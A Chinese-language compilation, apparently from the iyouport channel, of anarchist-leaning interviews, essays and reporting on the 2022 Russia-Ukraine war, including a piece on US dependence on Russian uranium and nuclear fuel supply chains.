主持人：我认为，普京在历史上对所有这些其他国家所做的暴行，通常都是为了把注意力从内部问题上移开，正如你所提到的。实际上，目前与乌克兰的冲突在俄罗斯社会有多受欢迎？它是一种爱国主义的兴奋吗，就像，“是的，就怎么办吧”？还是有一种阻力，没有人支持？俄罗斯社会内部大范围上正在酝酿什么？

伊利亚：对我来说，这有点难以正确估计，因为我没有在俄罗斯待过近三年。但与此同时，我可以说，在与我保持联系的人中，他们对这种战争的观点都是超级悲观的。当然，我所接触的人代表了一个特定的意识形态框架。普通人，就我的猜测和假设，就我所熟悉的普通人的例子来看……我想说，他们对与任何人进行大规模战争的前景都不是很乐观的，因为他们明白，这将导致死亡，甚至导致经济进一步下滑。即使是电视宣传，在俄罗斯年复一年地变得越来越可怕—— 这是一种直接进入人民大脑的持续不断的狗屎潮—— 即使这样实际上也无法真正使人民转向支持战争。

所以，在我看来，俄罗斯根本没有爱国主义的兴奋，这实际上是一种抑郁的时期，在所有这些大流行病的浪潮之后，在所有这些关于二维码和疫苗接种的战斗之后，还有当局的一些其他不受欢迎的行为，比如今年秋天在俄罗斯目睹的明显的选举舞弊：所有这些都是一个非常糟糕的基础，使人们变得真正歇斯底里[ly pro-war]。

- 如果您错过了《利用一切机会站起来：来自俄罗斯的两封信》

当然，如果战争开始了，我认为最初可能会激起一些爱国主义的增长，这几乎总是会发生。但我认为这不会是稳定的或真正重要的。如

果俄罗斯在乌克兰面临任何坚决的抵抗，任何大的问题，我认为所有这些支持国家的爱国主义将很快消失，变成它的反面。

主持人：另一方面，现在，乌克兰政府也在试图利用这种情况——例如，与西方盟友一起快速行动，获得武器，等等。但你能总结一下乌克兰社会内部对乌克兰政府行动的反应吗？除了所有这些动员努力之外，他们还想做什么？

伊利亚：实际上，现在的情况对我来说不是很清楚。自2004年以来，正如我已经提到的，在乌克兰东部的这场冲突之前，[冲突对]普京政权和地方当局都有利，因为当你有这种防御性的民族主义爱国主义歇斯底里时，确实更容易保护自己免受来自下面、来自基层的任何问题。诸如这样的问题——「我们国家发生了什么？为什么它这么穷？为什么它如此深陷泥潭？」对这些问题有一个明确、简约的答案，那就是："这都是因为外部的敌人"。

这是地方当局经常使用的工具，这种态度就是："只有在外部威胁消失后，我们才能对所有内部问题采取措施"。这种路线在乌克兰其实并不很流行，但它存在，而且在社会的某些部分有声有色地表达着。

很明显，泽伦斯基政府正在以多种方式与政治对手斗争 —— 既与前总统波罗申科斗争，后者现在正面临刑事起诉，也与更多亲俄势力如梅德韦德丘克 (Viktor Medvedchuk)斗争，后者现在也面临刑事起诉，他的政党正在经历镇压。不知何故，极右翼也受到了压制，因为他们心目中的赞助人，内政部长阿瓦科夫几个月前辞职了。在这之后，一些来自亚速营运动的人 —— 来自这个国家兵团，这是目前乌克兰最大的极右翼政党—— 他们也被逮捕了。

因此，乌克兰国家已经以某种方式巩固了自己。这一点是显而易见的。至于这如何影响围绕这一威胁的内部政治，到现在为止我还不是很清楚。但我们可以看到一些真正令人震惊的趋势，威胁着将行政权力集中在总统和他的手下手中。

主持人：谈到本届政府的政治，你会如何描述他们？我记得泽伦斯基是一个民粹主义者般的说法，类似于"是的，我们将打击腐败，我们将使每个人都快乐"，等等。他现在的政治是什么？在西半球，我还听到一种说法，说战争并不那么重要，因为它基本上是用一个法西斯政权取代另一个法西斯政权。现在乌克兰的政治和"自由主义"与俄罗斯有多大区别？

伊利亚：首先，泽伦斯基政权绝对不是法西斯主义，至少现在不是—

— 至少它仍然没有那么多的控制权。这是因为在乌克兰，国家的权力并不像在俄罗斯或白俄罗斯那样巩固。但是，这个政权当然不“好”，他们仍然是腐败的骗子，基本上是在做新自由主义的鬼话。我想说的是，这就是他们大部分政治的设计。但至少在社会结构上，这个国家还是少了很多专制，尽管它的经济结构超级糟糕。这就是为什么这么多来自白俄罗斯、俄罗斯，还有哈萨克斯坦的政治异见人士在这里避难的原因。因为在这里，没有这样一个统一的国家路线，国家没有那么多机会或可能性来控制和设计整个社会景观 —— 尽管正如我之前所说，国家现在正试图这样做。

因此，俄罗斯当局或明显亲俄的政府接管乌克兰将是一场灾难，因为一个有点自由的地区（或者我说，更多的是“灰色地带”，就像乌克兰现在这样）将转变为由普京的专制和严酷的独裁统治所控制。说白了，乌克兰国家仍然是一个超级糟糕的民粹主义政权，据我所知，自泽伦斯基上台以来，没有采取任何积极的政治步骤。我现在唯一记得的具体步骤是关于农业用地的这项法律，现在可以在市场上自由买卖，而以前有一些障碍。我们认为，这项法律将很快导致农业用地集中在几个大型农业公司手中。所有像这样的新自由主义政治都会被落实到位。

但是，我们仍然看到大量的贫困，无论是在乌克兰还是在俄罗斯。当然，乌克兰是一个更穷的国家，因为它没有那么多石油和天然气。但如果俄罗斯将占领乌克兰，我们真的相信当地工人阶级和穷人会从新的占领政权中获得一些经济利益吗？当然不会。我真的很难相信这一点。因为俄罗斯的经济状况越来越差，他们根本没有资源可以与其他人分享。为了建造这座从俄罗斯大陆到克里米亚的大桥，就必须停止在西伯利亚和俄罗斯其他地区的几座桥的建造。所以他们没有资源与这里的当地人分享，即使他们想以某种方式收买当地人。当然，在政治和社会领域，我们也不能指望普京政权有什么更好的表现。就独裁而言，关于国家控制和国家压迫，普京政权目前比当地政权要危险得多。地方政权并不是“更好”，它只是没有那么强大。

主持人：在俄罗斯发生的很多事情，普京在过去15年左右的时间里允许自己做的事，都是在国际社会的某种默许下发生的。或者它们只导致一个空洞的声明，大意是：“我们谴责对人权的侵犯”，等等等等。比如说哈萨克斯坦的情况—— 最近的一次，实际上并没有引起政治舞台上其他参与者的任何政治或社会反弹。对我来说，如何提问才能更有趣？比如问问国际社会对入侵乌克兰的可能性会有什么反应；是否像是，「好吧，我们要去打仗，我们都要去搞死俄罗斯？」还是更像是，「如果俄罗斯占领了乌克兰，我们会“关注”？」等等等等。

伊利亚：好吧，我不确定我的构想在这里是否真的正确，当然，每天在新闻中我们都会听到和看到，例如，美国总统和美国政府正在威胁俄罗斯在军事侵略的情况下进行巨大的经济制裁。而且，我们最近得知，一些军事支持也来到了乌克兰，不是军事人员，而是一些武器。所以我认为所谓的国际社会有一些“反应”。

但从这里看来，西方国家总是不断承诺，但从未真正采取关键步骤以实际阻止普京的侵略。因此，乌克兰人民，我认为即使是那些对西方国家有一些认可的人，也感到自己越来越被他们曾经相信的大国所抛弃。

主持人：谈到乌克兰的无政府主义者—— 我知道乌克兰的无政府主义运动并不是该地区最强大的，它受到了最近在顿巴斯等地发生的冲突的影响。目前对俄罗斯入侵的可能性的反应是什么？无政府主义者在谈论什么？无政府主义者在思考什么，或动员在俄罗斯军队进军的情况下做些什么？

伊利亚：嗯，我想说的是，在这里的无政府主义社区内有两种不同的模式。当然，我们讨论得很多，几乎每天都在讨论，每次开会都在讨论，有些人确实对参与抵抗感兴趣。有些是在军事方面，有些也是在和平志愿服务方面，有些是后勤志愿服务，等等。当然，还有一些人更多考虑的是逃亡，到某个地方避难。我更同情第一种想法（这是我的个人立场，但也是政治性的）。如果你逃离，你就失去了任何政治和社会抗议的机会。作为革命者，我们需要采取一些积极的立场，而不是仅仅观察或逃离的消极立场。我们需要对这些事件进行干预。这一点是肯定的。

最大的挑战，也是最大的问题是：我们应该以什么方式来干预这些事件？因为如果像2014–15年发生的那样，我们只是个别地去和一些乌克兰军队一起对抗侵略，这实际上不是一种政治活动。它只是一种自我同化的行为，融入国家政治，融入民族国家的政治。

幸运的是，这不仅仅是我的观点。有许多人在此考虑建立一些有组织的结构 …… 这可能与国家的自卫结构有一些合作，但仍将是自主的，在我们的影响下，并将由我们的队友们组成。因此，这将是有组织的参与，有我们自己的议程和我们自己的政治信息，为了我们自己的组织利益。而不仅仅是在这场冲突中站在某个国家角色的一边。

主持人：对，但有些人肯定会说，“嘿，你们是无政府主义者，无政府主义反对国家，而现在你们在保护国家”。我很肯定，有些人认为无政府主义者应该完全退出这些冲突。你会怎么回答他们？

伊利亚：首先，我会回答他们 —— 谢谢，这是个有价值的批评。我们真的需要评估如何干预，以免只是成为某些国家手中的工具。但可以肯定的是，如果我们运用一些聪明的政治 —— 如果我们运用政治的艺术—— 我想说，我们有机会做到这一点。如果反抗者远离国家冲突，那么就会远离实际的政治，正如我之前所说的。这是目前在我们地区发生的最重要的社会冲突之一。如果我们把自己与它隔离开来，我们就把自己与实际的社会进程隔离开了。所以我们需要以某种方式参与。

当然，毫无疑问的是，我们需要对抗普京主义的帝国主义。如果我们需要以这种方式进行任何形式的合作，那么我们就要接受。当然，我们必须非常仔细、非常谨慎地评估，如何拒绝依赖一些非常反动和消极的力量。这确实是一个问题和挑战，但这是我们可以走的艰难道路。逃避这些挑战，只是等于在促进无政府状态和促进我们地区的社会解放和革命方面的投降。而这对我和许多其他同志来说，是不能接受的立场。

主持人：我认为对我来说，在此也必须指出，总的来说，乌克兰有点像前苏联国家中的最后一站。目前，普京帝国的扩张正在采取越来越积极的步骤—— 同样，哈萨克斯坦的故事，白俄罗斯的故事，在白俄罗斯重新融入俄罗斯的某些条件下对卢卡申科政权的全力支持 —— 所有这些步骤都是为了将整个地区重新置于普京的独裁主义之下。对于我们这些无政府主义者来说，给出一个答案是极其重要的，而不是坐在我们自己的位置上说："哦，那太好了，我们是无政府主义者；我们是反对国家的，所有那些简单的、愚蠢的国家政治都不会触动我们"。

伊利亚：这当然是正确的。但与此同时，我想强调的是，我们也不应该站在地方民族主义圈子和地方民族国家的一边。因为这些决不是进步的政治实体或进步的政治声音。他们也确实产生了很多压迫和剥削，这也确实需要我们大声地和通过我们的活动来加以对抗。

（视频：俄罗斯地对空导弹系统抵达白俄罗斯。）

主持人：正是如此。我完全同意这一点。对于不在该地区的读者来说，人们如何支持你们？或者说人们如何才能真正获得更多关于局势的信息？

伊利亚：嗯，首先，支持可以是信息性的；如果你用心关注这里发生的事，传播信息，传递消息，这已经是一件非常大的帮助了。另外，我认为如果你有机会与当地的无政府主义者接触，就有可能请求某种

具体的支持：也许是团结行动，也许是为需要逃离的人准备一些条件，比如说逃离这个地区。另外，在某些时候可能需要一些财政支持。如果我们将在这场冲突中有一些组织性的存在，这将需要很多物质的东西和资金。

不幸的是，目前我无法推荐一些统一的网站或 Telegram 频道或类似的东西以帮助您了解一切。仍然有许多不同的小型媒体项目和小型团体，但没有一些真正大的统一联盟或统一组织。不过可以肯定的是，如果你做出一些努力，你会很容易接触到当地无政府主义运动的这个或那个派别，所以你可以关注局势，并准备好做出一些反应。这将是非常值得赞赏的。

主持人：很好。非常感谢你的谈话。保重，希望战争不会发生，俄罗斯人会滚蛋，在斗争中会有很多其他事情需要照顾，而不是真正组织抵抗俄国人的入侵。

伊利亚：是的，希望如此。

来自基辅的观点

「图」

（以下文字采取第一人称叙述）

乌克兰与俄罗斯及其代理人的战争已经持续了8年。死亡人数已经超过了14000人。然而，随着俄罗斯军队在我国北部和东部边境集结，在这场战争的历史上，甚至在我印象中的整个乌克兰历史上，这还是第一次，我经常收到外国朋友的信息，其中一些人已经多年没有联系了，他们都急切地想知道我是否安全，威胁是否像他们被告知的那样严重。这些朋友的政治观点、年龄、职业、生活经历和背景各不相同。他们有一个共同点，那就是，他们都来自美国。

我在世界各地的其他朋友似乎对此不太焦虑。上周，我接待了一位来自希腊的朋友和另一位来自德国的朋友，两人在得知自己降落在一个随时可能成为第三次世界大战中心的国家时，似乎都很惊讶（这可能就是为什么他们的机票只花了8欧元）。如果不是因为我自己也正好在看美国电视，我也会感到惊讶。在过去的几周里，我注意到在网上看到的各种谈话节目中，提到乌克兰局势的次数激增。几乎可以感觉到，现在美国对乌克兰的讨论比乔·拜登儿子的腐败丑闻期间的讨论还要多。

对于一个乌克兰人来说，这种对我们与虐待我们的帝国主义邻居的无休止的斗争的兴趣突然上升，会让你感受如何，那将取决于你的政治立场。当我们在1994年同意放弃核武器，加入布达佩斯备忘录时，俄罗斯、英国和美国承诺尊重和保护乌克兰的独立、主权和现有边界，不对乌克兰的领土完整或政治独立进行任何威胁或使用武力。当所有这些承诺在二十年后被证明完全没有价值时，这里的许多人不禁感到被背叛了。这些人中的许多人觉得，现在正是美国加紧兑现其承诺的时候。如果没有这种背景，要理解为什么当一个把乌克兰称为“俄罗斯的后院”的海外帝国在这个主权国家上空飞来满载士兵的战机时，乌克兰的一些人就会鼓掌。

然而，在乌克兰还有一些人像我一样，不把他们对政权的不信任局限于我们不幸与之接壤的帝国，而是把这种得来不易的不信任延伸到其他国家。即使对于那些真正相信敌人的敌人就是自己的朋友的人来说，值得一问的问题依然是，美国在世界各地结交了多少这样的“朋友”？—— 越南人、阿富汗人、库尔德人等等—— 没有为获得这样一个盟友而感到后悔。

不幸的是，这种已经相当低标准的批判性思维在乌克兰也并不像短视的爱国主义、民族主义和军国主义那样普遍，所有这些都随着战争的歇斯底里而在这里获得了势头。在乌克兰，没有多少人讨论为什么我们在经历了八年痛苦的生命和领土损失之后，现在终于被美国和英国所关注。而这种对帝国动机的好奇心的缺失是双向的：正如我们大多数人无法关心拜登政府从这场权力游戏中获得了什么，我们对普京现在为什么会试图进一步入侵的理解仅限于“这个嗜血的疯子确实是疯了”。几乎没有人考虑到可能会有更多的事情发生。

甚至更少的人质疑这样的说法：俄罗斯确实增加了其在乌克兰边境的存在，使我们目前的局势比一年前更具威胁性。

我并不是说在我们的边界集结的非常真实的俄罗斯军队的入侵威胁是微不足道的。但我质疑美国的参与是否真的是为了缓和这场冲突，是否能使乌克兰人民受益。

不幸的是，在这里的实地工作并没有真正给我任何特别的专业知识可以依靠。早在2014年初，看到全国各地发生的一切，我拒绝相信乌克兰即将开战，直到它发生的那一刻。现在回想起来，这似乎是不可避免的。现在，我们没有人真正知道战争是否会发生，以及如果发生，它将在何时升级。

有些人已经逃离了这个国家。大多数人连短暂的短途出国旅行都负担

不起，所以他们必然要保持冷静，继续前进。除了腐败和战争之外，乌克兰大多数人如此穷困潦倒的原因可能与以下事实相吻合，即 乌克兰在2015年取缔了共产主义，目前是欧洲唯一一个议会完全由不同色调的右翼政党组成的国家。

当这样的事件在离你近6000英里的地方发生时，海外的反权威人士自然会设法确保他们不是在支持坏人。并非所有为自己站出来的人都是萨帕塔主义者、库尔德人或加泰罗尼亚人。世界各地有广泛的不同群体抵制帝国主义侵略。在这个光谱上，许多声称保卫乌克兰的人更接近真主党和哈马斯等团体。他们中的许多人是仇外的、保守的、性别歧视的、仇视同性恋的、反犹太主义的、种族主义的、支持资本主义的，甚至是彻头彻尾的法西斯主义的吗？答案是：没错。但他们是否在与一个极其强大和暴力的邻国进行不平衡的斗争，在这种情况下，他们似乎是任何有意义的抵抗的唯一希望？答案也是：没错。

而这些还都不是最困难的问题。

如果一个专制帝国正试图摧毁另一个部分由法西斯分子保卫的国家，我们是否会坐下来为世界上少了几个法西斯分子而高兴？如果死亡的人还包括成千上万试图保护自己或只是在错误的时间出现在错误的地点的无辜者呢？我们是否会介入，理解这些人与人之间的分裂只有利于那些已经强大的人，而不是被分裂的人？

这引出了另一个问题："介入" 意味着什么？有没有一种方法可以在这里 "介入"，令其既是实质性的，又没有负面的后果？迄今为止，美国采用的两种策略都没有显示出太大的成功。与俄罗斯对立只会让事情变得更糟，而这里的许多人认为，另一种选择—— 表达 "深切关注" 而不妨碍普京的做法—— 首先导致了2014年战争的开始。这就是为什么我怀疑，任何不涉及同时废除两个帝国的帝国胃口问题的解决方案，对于这种规模的问题来说，都只能是一张创可贴。事实是，乌克兰不是权力饥渴的第一个受害者，也不会是最后一个。只要我们让这些怪物活着，不管他们是朋友还是敌人，是被驯服还是被驱赶，是被锁住还是自由放任，都不会有什么影响。它们将永远是饥渴的。

然而，我确实希望，美国和世界其他地方的人们仍然有很多事情可以做。我希望我们都能组织和创建社区，超越资本主义、保守主义和个人主义等有害的意识形态强加给我们的表面划分，努力记住，只有当我们分离、隔离、互不相干，或者互相掐架的时候，我们才是真正的弱者和无助。通过教育和团结，我们可以尝试创造一个世界，在这个世界里，像这样毫无意义的冲突将更加没有意义。在我们能够做到这一点之前，我们可以尽最大努力为世界各地成为这些残酷战争受害者

的人提供支持。

这意味着什么，具体来说，现在，在乌克兰这里？同时，许多为乌克兰而战的人确实是法西斯分子，这是否意味着所有躲在他们背后的人—— 包括我—— 也要为他们的政治负责？在这里，我们正在进入更艰难的问题。

但是，这里没有任何人在解决这些问题。乌克兰人民都在忙着学习急救和枪支处理课程，或者学习城市避难所的位置，或者，大多数时候，只是在挣扎着过日子。这里没有全面的恐慌，只有沉闷的疲惫。大规模战争的威胁仍然非常真实；如果它发生，它不太可能导致任何其他结果，而只是一个比我们已经拥有的更弱、更差、更小的乌克兰。而且我真的不能推荐甚至是目前的版本。

综上所述，也值得承认的是，我不会冒着生命危险为这个国家与俄罗斯军队作战。如果基辅变得比现在更无法生存，我可能会尽力撤离。诚然，这是一个拥有某些特权的人的意图。这里的大多数人完全没有地方可去。〇

Elephant in the room #37—Anarchists and war in Ukraine

Львов 19–21 февраля 2014

Почему надо поддержать Украину?

What can Russians do to prevent war? A short guide for revolutionaries

IF ONLY THERE WAS NO WAR?

The flame of Kazakhstan in our hearts: attack against the collaborators of Russian imperialism from Shell in Malmö, Sweden

Ukraine: Between Two Fires

原文

能源革命也难以摆脱俄罗斯吗？ - iyouport

乌克兰战争

美国似乎做不到退出俄罗斯铀矿……

这场战争所引发的生活成本危机再一次强调了，摆脱俄罗斯对全球能源的影响力是比制裁更重要的工作。但这件事并没有那么简单。

如果您错过了我们此前的解读，可以在这里看到；《从北京到世界：乌克兰战争(9) - 一个危机重重的新全球格局》。

本文是对乌克兰系列第9集的一点补充。

当美国切断自己与俄罗斯能源产品的联系时，铀并不在名单之列。

拜登在3月份 禁止了 俄罗斯的石油、煤炭和天然气进口。据报道，华盛顿政府 也考虑 制裁俄罗斯的国有核电公司Rosatom。但众多行业游说和拜登将核反应堆纳入向清洁能源过渡的计划，使铀贸易没有受到影响。

现在，俄罗斯对乌克兰的入侵正迫使美国努力解决其铀矿供应链中的漏洞。这也使长期以来关于核能在未来电网中可能发挥的作用的辩论升温。战争已经迅速提高了赌注。

乌克兰环保组织 Ekodia 的能源部门负责人 Kostiantyn Krynytskyi 表示，美国将铀排除在能源制裁之外 “非常令人沮丧，因为我们明白这是俄罗斯战争机器的一部分”。

普京在2007年创建了俄罗斯国家核能公司 Rosatom，这家国有公司现在生产了世界上近**20%**的核燃料 —— 就像化石燃料一样为莫斯科提供了重要的收入来源。据报道，Rosatom 的官员还出现在被俄罗斯军队占领的 两个乌克兰核电站，尽管俄罗斯官员 否认了 Rosatom 将接管乌克兰最大核电站的永久管理权的指控。

乌克兰环保组织 Ekodia 是本月 致函 拜登和欧洲领导人的多个地方和环境团体之一，要求白宫切断与俄罗斯原子能公司的关系，禁止从俄

罗斯进口核燃料。

这不是一个简单的要求。2020年，这些进口铀占美国铀供应的 约16%（俄罗斯盟友哈萨克斯坦和乌兹别克斯坦提供了另外的30%）。这比当年从俄罗斯进口的 大约7% 的石油的比重要大得多（美国 很少 从俄罗斯进口煤炭，也没有天然气）。

铀是一种比较常见的金属，在世界各地都有。但85%的铀只在六个国家生产 —— 根据世界核协会 指出 这六个国家是，俄罗斯、哈萨克斯坦、加拿大、澳大利亚、纳米比亚和尼日尔。

矿山生产固体形式的铀，然后提炼成所谓的黄饼。然后，还有几个步骤要做，以将黄饼变成核反应堆的燃料。首先，黄饼需要变成一种气体，这个过程被称为 “转换”，这样它就可以被 “浓缩”。自然界中的铀的特定同位素铀235的浓度低于1%。今天的典型反应堆需要铀235浓度在3%至5%之间的铀。浓缩后的铀可被制造成反应堆的燃料棒。铀浓缩物，来自哈萨克斯坦

供应链中的主要瓶颈在于转换和浓缩的过程。世界上只有几个地方可以进行转换步骤 —— 俄罗斯、法国、加拿大和美国，根据核能研究所的数据。同样，只有少数几个国家 —— 俄罗斯、美国和几个西欧国家 —— 有能力进行铀浓缩。

这种能力没有得到更广泛的应用有几个重要原因。

首先，浓缩铀可用于核能源或核武器。因此，世界上没有那么多这样的设施被认为是一个很好的安全措施。其次，转换和浓缩服务的市场已经相当饱和了 —— 所以在全球范围内投资更多的产能不一定有商业意义。至少目前为止是如此。

乌克兰的战争正在鼓动对更多样化的供应链的需求。在美国，要求在国内开采铀的呼声高涨。据彭博社 报道，拜登政府正急于为两项计划起草招标书，旨在开发更多的高浓缩燃料和建立战略铀储备（类似于国家的战略石油储备）。现在，只有一个正在运营的美国铀矿厂，在犹他州的白梅萨。而在2020年，根据世界核协会的说法，其产量 “太小，以至于无法报告”。

“我们不能再容忍这种对核燃料的依赖，也不能再容忍为支持普京政权而购买铀的美元流动。美国拥有充足的铀资源，并且有能力以全球最高标准进行生产”，美国铀生产者协会主席兼铀能源公司执行副总裁斯科特·梅尔拜在提出禁止俄罗斯进口铀法案的共和党参议员的 新

闻发布会上说。犹他州东南部峡谷地一家旧的铀矿现场

包括公用事业公司在内的贸易集团核能研究所NEI表示，需要更多的转换和浓缩能力 —— 并且仍然反对全面禁止俄罗斯铀的做法。

NEI的燃料和辐射安全高级主管 Nima Ashkeboussi 说："我们看到禁令或制裁确实对世界和全球公用事业产生了涓滴影响"，他说，"这种干扰以及美国和全球公用事业之间的潜在争夺，在短期内会威胁到一些核电站找到燃料的机会"。

美国的核电站通常每18到24个月补充一次燃料，因此在铀供应链受到冲击之前，距离人们的电力供应受到影响还有一段时间。然而，从长远来看，俄罗斯铀的损失可能会打断通过转向新的核能技术来应对气候变化的计划。

下一代核反应堆 通常需要 铀235浓度高达20%的燃料，称为 HALEU (高含量低浓缩铀）。有了更高的浓缩度，核电站在补充燃料之前可以运行更长时间。能量密度更高的燃料还可以使反应堆设计得更小。但专家说，**HALEU**的唯一主要供应商在俄罗斯。

智囊团 "第三条道路"（Third Way）的高级驻地研究员 Alan Ahn 说，"俄罗斯供应HALEU的任何前景在他们入侵乌克兰后基本上就消失了"。

据 Ashkeboussi 说，美国能源部资助的两个先进反应堆示范项目将在2024年底前 需要HALEU。能源部确实有一些HALEU的库存。但在美国建立一个新的生产设施将至少需要四年的时间。

拜登的2023年 预算提案 包括对能源部的资金提升，其中包括帮助"确保" HALEU的可用性的资金。这是更广泛的推动的一部分，以加快技术的发展，使美国经济转变为完全依靠无碳电力运行的经济。

拜登希望在2035年前完成这一目标。这一壮举将是一个巨大的提升，而砍掉核能可以说会使其更加困难。目前，核能供应的电力仅占全国电力的 不到20%，但却占美国无碳能源的一半左右。

这种紧迫性来自于另一个生存威胁，即气候危机。气候科学家发现，这个世界只有几十年的时间来基本消除化石燃料的温室气体排放，否则就会陷入灾难性的气候危机。彻底改造世界能源系统的时间相对较短，这使得一些环保主义者更容易接受核能，他们说需要反应堆来提供稳定的电力，因为风能和太阳能随天气变化而变化。

核能有明显的风险，特别是在燃料生命周期的开始和结束阶段，这使它成为其他倡导者的禁区。美国 仍在清理 冷战时期在纳瓦霍土地上开采铀矿的遗留问题，这与肾病、癌症和儿童的神经病变综合症有关。联邦政府也一直在努力寻找一个永久性的核废料储存方案。

据《卫报》报道，在美国增加铀生产的新呼吁已经给那些反对附近铀矿和废料场的部落和活动家亮起了红灯。虽然美国唯一的铀矿厂的黄饼产量已经减少，但位于犹他州的该厂仍然储存着剩余的放射性废物。如果美国真的采取行动增加国内的铀供应，那么该工厂的铀生产可能会再次开始真正汹涌。乌特山Ute部落的成员已经在推动关闭该厂；其部落委员会去年还通过了一项决议，反对建立国家战略铀储备。

甚至在目前的战争之前，乌克兰活动家 Krynytskyi 就已经对核能保持警惕了。他的环保组织历来都在推动逐步淘汰化石燃料和核能。

乌克兰比世界上几乎任何其他国家都更依赖核电。但是，供应全国大约一半电力的核电站现在正面临前所未有的风险。其最大的工厂扎波罗热（Zaporizhzhia）在俄罗斯的炮击中幸存。据报道，扎波罗热和切尔诺贝利都发生了火灾，后者已经是历史上最严重的核电站灾难的发生地 —— 这两个地方都被俄罗斯占领了。

“整个国家和整个世界都在颤抖，想着乌克兰的核电站会发生什么 …… 看看这里发生了什么吧。你需要逐步淘汰它”，Krynytskyi 说。

THE US CAN’T SEEM TO QUIT RUSSIAN URANIUM

原文

这一次，不成功便成仁：乌克兰战争 ↗ iyouport

乌克兰战争

正是这种想法 - - 斗争就是生活，生活就是斗争 - - 这种哲学观点，这种感觉，可以使你在最困难的情况下使自己恢复理智，保持斗志。请永远记得，我们彼此是唯一能够相互帮助的人。

亚维拉的德兰曾经写道："任何真的狂喜都是信号，说明你走在正确的方向"。

真的狂喜是什么？难道还有假的狂喜吗？的确有。目前一些中国异议人士所经历的就是假的狂喜。

真正的狂喜是那种发自内心的感悟、感受到自身思考能力和行动能力获得提升时的喜悦、为爱人和朋友的成功而鼓掌时的心情。真正的狂喜被"获得" 所激发。

而假的狂喜，就如仅仅因为敌人/或敌人的朋友的失败而感到的那种喜悦，以及 "遭殃的幸亏不是我"的小确幸。

我们始终希望能有更多人如亚维拉的德兰所言：走向 "正确的方向"。这是我们所有工作和努力的目标。

最近几年（现在应该说是"战前"）俄罗斯国内政治稳定的主要威胁之一就是社会的原子化和社会分层 —— 俄罗斯公民被封锁在他们各自的社会地位中（按照西蒙·科尔东斯基 Simon Kordonsky 的说法，是 "阶级"），一种普遍的不公正感由此产生。

几乎可以说每个人都不满意，仅仅是原因不同。

所谓的俄罗斯世界不断扩大的 "宇宙" 创造了越来越强烈的社会需求 —— 对正义的需求，这就是帝国的悖论。

当然，帝国的统治者无法满足这一需求，尽管他们试图主要通过反腐运动（“富人也哭”）、和社交网络上的开放（“我们和你一样简单”）来伪装缓解问题。但和中国一样，这都没什么用。然而，和中国不同的是，俄罗斯社会的反抗情绪一直在不断增长，行动力在各领域默默发展。

现在，伴随的是俄罗斯的评级下降，全球排俄。这就把整个状况推向了一个历史性的十字路口，不论是自由派还是共产党人，现在在同一条船上，就如俄罗斯无政府主义者所言：**this time it is now or never!** 莫斯科，反战抗议中的大抓捕

📌 欢迎回来！这里是乌克兰系列第7集。如果您错过了前面的部分，可以在下面回顾：

- 《一个 “赚大钱的完美机遇” 1⃣》
- 《多元化主流 2⃣》
- 《当你处在双面夹击的火力之下 3⃣》
- 《”反对所有边界，抵制所有帝国，对抗所有战争”—东西方冲突中的乌克兰 4⃣》
- 《“人民的自由，帝国去死”—俄罗斯无政府主义者对局势的分析 5⃣》
- 《俄罗斯的选择，和这一切灾难的根源：乌克兰系列 6⃣》

为了帮助人们了解在乌克兰和俄罗斯发生的事，本集内容将介绍这两个国家的无政府主义者的叙述。

在第一部分中，来自卢甘斯克的流离失所者描述了他试图逃离战区的经历，以及乌克兰目前的状况；在第二部分中，俄罗斯反抗者描述了俄罗斯人如何在极度压抑的条件下试图动员起来反对战争时所面临的挑战 —— 您能看到与中国极为相似的状况。

虽然英语世界中一些所谓的 “左派” 鹦鹉学舌，通过指责北约来为俄罗斯的入侵开脱，或者猜测已经被杀害的数千名乌克兰人 “一定是法西斯分子”，但我们认为，任何对这些事件的负责任的参与都必须将反对军事侵略的普通乌克兰人和俄罗斯人的声音集中起来。

我们不能只做信息的消费者，不能唆使独裁者的帝国野心，也不能指望其他自私自利的政府来遏制这些野心，我们必须与那些立即受到这次入侵影响的人们建立真正的团结关系 —— 不论是在乌克兰、在俄罗斯、在白俄罗斯、还是在任何其他地方。

联合。反法西斯活动家在俄罗斯新西伯利亚张贴的反战传单。

汝欲和平？

「图」

自2月24日俄罗斯入侵乌克兰以来，警笛声和爆炸声每天都震撼着尤里·谢利亚琴科在基辅的五层楼房。

谢利亚琴科是乌克兰和平主义运动的执行主任，在一个战火纷飞的国家，他是一个孤立的但坚定的和平代言人。他因为拒绝携带武器和与邻居一起制作自制燃烧弹而经历了“很多仇恨”，俄罗斯军队面临着从平民到决心保卫乌克兰的战士的激烈抵抗。

当被问及外国人可以做些什么来支持乌克兰的活动家时，谢利琴科说：“首先，告诉大家真相 —— 并没有任何暴力的方式可以实现和平”。

在本系列第3集中我们发布了对伊利亚的采访。日前 truthout 报道，在基辅附近的其他地方，伊利亚和他的战友们已经拿起武器对抗俄罗斯军队，正在进行战斗训练。

“伊利亚” 是化名。由于暴力升级，伊利亚必须隐瞒自己的身份，他是一名无政府主义者，为逃避邻国的政治压迫而决定抵抗俄罗斯的入侵。

与来自乌克兰和世界各地的无政府主义者、民主社会主义者、反法西斯主义者和其他左翼人士一起，伊利亚加入了 “领土防卫” 部队之一，该部队的运作方式类似于乌克兰军队下属的自愿民兵，具有一定程度的自主权。

据一个名为 “抵抗委员会” 的团体称，在由互助团体和承担民事职责的志愿者组成的横向联盟的支持下，反独裁者在领土防卫结构中拥有自己的 “国际分遣队”，并正在为物资筹款。2022 年 3 月，基辅的伊尔平，街道上的乌克兰士兵

伊利亚在采访中说：“当敌人攻击你时，你很难采取反战的和平主义立场，这是因为你需要保护自己”。

谢利亚琴科和伊利亚的不同道路说明了乌克兰的活动家和进步的社会运动所面临的困难和往往极其有限的选择。

值得注意的是，他们对自卫和暴力在政治中的作用虽然有着不同的看法，但两人都采取了积极的斗争，似乎是相互支撑而不是相互对立。

伊利亚和他的同志们对乌克兰国家同样不抱任何幻想，他说“显然这个国家有很多缺点和很多腐朽的制度”；然而，自2014年以来，乌克兰、俄罗斯和乌克兰东部的亲俄分离主义分子进行了低级别的战争，与许多其他左翼人士一样，伊利亚认为可能强加普京式的残酷独裁政权的“俄罗斯帝国主义侵略”是目前所有人最大的共同威胁。

乌克兰可能不是一个运作良好的民主国家，但反独裁主义活动家表示，该国的问题绝对不会因为俄罗斯的入侵和随之而来的令人难以置信的压制性政治条件而得到“解决”。俄罗斯的示威者目前正在不顾警察的残酷镇压，冒着被长期监禁的危险来抗议战争。**https://t.me/iyouport/10141**

